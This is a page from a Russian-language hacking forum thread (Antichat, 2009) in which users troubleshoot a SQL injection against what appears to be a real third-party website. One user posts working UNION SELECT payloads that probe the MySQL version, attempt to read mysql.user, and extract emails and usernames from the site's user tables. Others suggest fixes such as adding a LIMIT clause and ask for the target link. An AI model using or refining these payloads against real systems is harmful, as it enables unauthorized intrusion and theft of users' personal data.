ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4781  
Старый 19.01.2009, 22:17
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Цитата:
Сообщение от jokester  
Да жесть А объяснить сможешь, почему когда хочет тогда работает ?
Хацкеры интернет поломали ^^

А если серьезно - хз. У меня иногда и страница: "voteid=1062" с ошибкой вылезает.
 
Ответить с цитированием

  #4782  
Старый 19.01.2009, 22:33
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

R1dex
да ты один меня понял.. +

jokester
я же говоил обнвлять нужно все время.. скрипт видемо некоректный и передает данные с задержкой, возможно не с первого раза изза возникновения ошибок..

Последний раз редактировалось sabe; 19.01.2009 в 22:38..
 
Ответить с цитированием

  #4783  
Старый 20.01.2009, 02:40
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию

что за фигня?)
-1+union+select+1,2,3,4,5,6,7,version(),9 выводит версию 5
-1+union+select+1,2,3,4,5,6,7,version(),9+from+mysq l.user+--+ ругается доступа нет
с помощью SIPT узнал таблы)
все таблы делятся на с префиксом VGB и просто другие
допустим две таблицы VGB_USER и new_data
вот из new_data все выводит а при запросе -1+union+select+1,2,3,4,5,6,7,version(),9+from+VGB_ USER+--+ ничего нет
в чем проблема?)
база одна всего.

Последний раз редактировалось j0ker13; 20.01.2009 в 02:46..
 
Ответить с цитированием

  #4784  
Старый 20.01.2009, 05:19
kolpeex
Новичок
Регистрация: 17.02.2008
Сообщений: 28
Провел на форуме:
68228

Репутация: 39
По умолчанию

А права есть?
 
Ответить с цитированием

  #4785  
Старый 20.01.2009, 10:03
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

Вопрос:
А через phpmyadmin можно посмотреть phpinfo?
 
Ответить с цитированием

  #4786  
Старый 20.01.2009, 11:16
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию

2kolpeex к таблице от этого сайта нет доступа?) эт как?)) ошибок не выводит просто нет результата...
даже при таком запросе
=12+and+1=2+union+select+1,2,3,4,5,6,7,concat_ws(0 x3a,VGB_USER.EMAIL,poll_user.username),9+from+VGB_ USER,poll_user+--+
нет результата

Последний раз редактировалось j0ker13; 20.01.2009 в 11:30..
 
Ответить с цитированием

  #4787  
Старый 20.01.2009, 11:23
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

Цитата:
Сообщение от j0ker13  
что за фигня?)
-1+union+select+1,2,3,4,5,6,7,version(),9 выводит версию 5
-1+union+select+1,2,3,4,5,6,7,version(),9+from+mysq l.user+--+ ругается доступа нет
с помощью SIPT узнал таблы)
все таблы делятся на с префиксом VGB и просто другие
допустим две таблицы VGB_USER и new_data
вот из new_data все выводит а при запросе -1+union+select+1,2,3,4,5,6,7,version(),9+from+VGB_ USER+--+ ничего нет
в чем проблема?)
база одна всего.
ты не можешь читать таблицы с префиксом VGB, нету прав
 
Ответить с цитированием

  #4788  
Старый 20.01.2009, 11:32
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию

2z00MAN вот к mysql.user нет прав) выводится ошибка SELECT command denied to user бла-бла@'localhost' for table 'user'
а када к этим обращаешся нет ни ошибки ни вывода)
 
Ответить с цитированием

  #4789  
Старый 20.01.2009, 11:36
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

j0ker13, посмотри внимательно, может, всё таки не одна бд?
А ещё лучше, дабы избежать ненужных гаданий, кинь линк.
 
Ответить с цитированием

  #4790  
Старый 20.01.2009, 11:42
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

Цитата:
Сообщение от j0ker13  
2z00MAN вот к mysql.user нет прав) выводится ошибка SELECT command denied to user бла-бла@'localhost' for table 'user'
а када к этим обращаешся нет ни ошибки ни вывода)
попробуй так -1+union+select+1,2,3,4,5,6,7,version(),9+from+VGB_ USER+limit+1,1+--+
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ